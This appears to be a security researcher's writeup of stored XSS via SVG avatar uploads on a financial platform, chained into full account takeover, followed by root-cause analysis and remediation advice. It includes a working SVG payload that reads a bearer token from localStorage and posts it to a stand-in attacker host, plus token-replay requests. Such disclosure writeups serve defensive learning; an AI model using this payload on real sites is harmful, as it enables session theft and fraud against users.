Stored XSS via SVG Avatar Leading to Full Account Takeover

I was testing a financial platform that offered user profiles with customizable avatars. Users could upload a profile picture, and the platform supported SVG files alongside standard image formats. What seemed like a harmless feature turned into a full account takeover chain.

This writeup covers how I found the vulnerability, built the exploit, and what the root cause was.

Initial Recon

The platform had a standard profile page where users could upload an avatar. I created two accounts — Account A (attacker) and Account B (victim). The upload endpoint was:

POST /api/profile/avatar
Content-Type: multipart/form-data

file: <image>

Accepted file types included PNG, JPEG, GIF, and surprisingly, SVG. That immediately caught my attention.

The Upload Quirk

I crafted a simple SVG with embedded JavaScript and uploaded it:

POST /api/profile/avatar HTTP/1.1
Host: target.com
Authorization: Bearer <token_a>

------boundary
Content-Disposition: form-data; name="file"; filename="avatar.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" width="124" height="124">
  <rect width="124" height="124" rx="24" fill="#000000"/>
  <script type="text/javascript"><![CDATA[
    alert('xss triggered');
  ]]></script>
</svg>

The server responded with:

HTTP/1.1 500 Internal Server Error
Date: Wed, 02 Sep 2026 15:57:32 GMT

A 500 error — normally you'd assume the upload failed. But after the response, I checked whether the file was actually stored. The platform used a predictable naming scheme for avatars:

/img/avatars/{user_id}{unix_timestamp}.svg

I extracted the timestamp from the Date header and built the URL:

https://target.com/img/avatars/6a8ec5618a1cd3144b0b30411788384424.svg

Opening it in a browser fired the alert. The file was saved despite the 500 error — the server wrote the file to disk first, tried to process it, failed, but never rolled back the write.

Building the Exploit

With stored XSS confirmed, I needed to turn this into something useful. I checked what the frontend stored in the browser. Opening the developer tools revealed:

localStorage key: "Phoenix"

The value contained a JSON object with:

  • A Bearer token used for API authentication
  • The user's name, email, and Google ID
  • Internal identifiers

Since the SVG would execute in the context of target.com, it had full access to localStorage. I wrote a payload that exfiltrated everything:

<svg xmlns="http://www.w3.org/2000/svg" width="124" height="124">
  <rect width="124" height="124" rx="24" fill="#000000"/>
  <script type="text/javascript"><![CDATA[
    var raw = localStorage.getItem('Phoenix') || '';
    var msg = 'TOKEN_EXFIL\n\nUser-Agent: ' + navigator.userAgent + '\nURL: ' + document.URL + '\n\n';
    try {
      var o = JSON.parse(raw);
      var token = (o.user && o.user.token) || raw;
      var u = o.user && o.user.user;
      msg += 'TOKEN: ' + token + '\n';
      if (u) {
        msg += 'ID: ' + (u._id || '') + '\n';
        msg += 'Name: ' + (u.name || '') + '\n';
        msg += 'Email: ' + (u.email || '') + '\n';
        msg += 'Google_ID: ' + (u.google_id || '') + '\n';
      }
    } catch(e) { msg += 'PARSE_ERR: ' + e + '\n' + raw; }

    var r = new XMLHttpRequest();
    r.open('POST', 'https://attacker-listener.com/exfil', true);
    r.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    r.send('data=' + encodeURIComponent(msg));
  ]]></script>
</svg>

I uploaded this SVG, got the URL, and sent it to Account B.

Exfiltration Result

When Account B opened the link, my listener received:

TOKEN: eyJhbGciOiJIUzI1NiIs...
ID: 67b3f8a2e4d01c5a9f0b8821
Name: Victim User
Email: victim@example.com
Google_ID: 1234567890

Full Takeover

With the Bearer token, I could authenticate as Account B from any device:

GET /api/profile/settings HTTP/1.1
Host: target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

The response returned the victim's full profile, deposit history, withdrawal addresses, and 2FA settings. The token did not expire or rotate, so I could:

  • View the account balance and transaction history
  • Change the registered email address
  • Disable 2FA
  • Withdraw funds
  • Lock the original owner out

Impact Summary

Issue Impact
SVG upload without sanitization Arbitrary JavaScript execution
500 error does not roll back write File persists despite error
Predictable file names Anyone can locate stored files
Token in localStorage Same-origin XSS = instant hijack
Non-expiring Bearer token Persistent access without rotation

Root Cause Analysis

Four independent failures combined to make this critical:

  1. SVG was whitelisted — The platform accepted SVG as a valid image type without sanitizing the content or stripping script tags.

  2. Write-before-validate — The file was written to disk before validation. When validation failed (hence the 500), the file was never cleaned up.

  3. Predictable URLs — The file naming scheme used {user_id}{timestamp}. The timestamp was directly readable from the HTTP response Date header, making the URL trivially guessable.

  4. Token storage — The Bearer token lived in localStorage["Phoenix"]. Any same-origin XSS could read it directly with localStorage.getItem("Phoenix").

Remediation

The fix required addressing all four layers:

  1. Remove SVG from accepted types — Or rasterize the SVG server-side and serve only the PNG/JPEG result.

  2. Validate before write — Check file content before writing to disk. If validation fails, return 4xx immediately and never persist the file.

  3. Random file names — Use bin2hex(random_bytes(16)) instead of predictable user IDs and timestamps. Serve uploads with X-Content-Type-Options: nosniff and a non-executable Content-Type.

  4. Token hardening — Move the Bearer token from localStorage to an HttpOnly, Secure, SameSite cookie. This makes it inaccessible to JavaScript entirely.

Key Takeaways

  1. Never trust file extensions — An SVG is not an image; it's an XML document that can execute scripts. Treat it as such.
  2. Atomic operations — If write-and-validate is the pattern, a failure in validation must roll back the write. Never leave partial state.
  3. Predictable URIs + stored content = disaster — If you combine guessable URLs with user-controlled content, you've built a stored XSS vector even without direct access controls.
  4. localStorage is not for secrets — Any XSS, even reflected or DOM-based, instantly leaks everything in localStorage. Use HttpOnly cookies.

This writeup was published with permission after the fix was confirmed.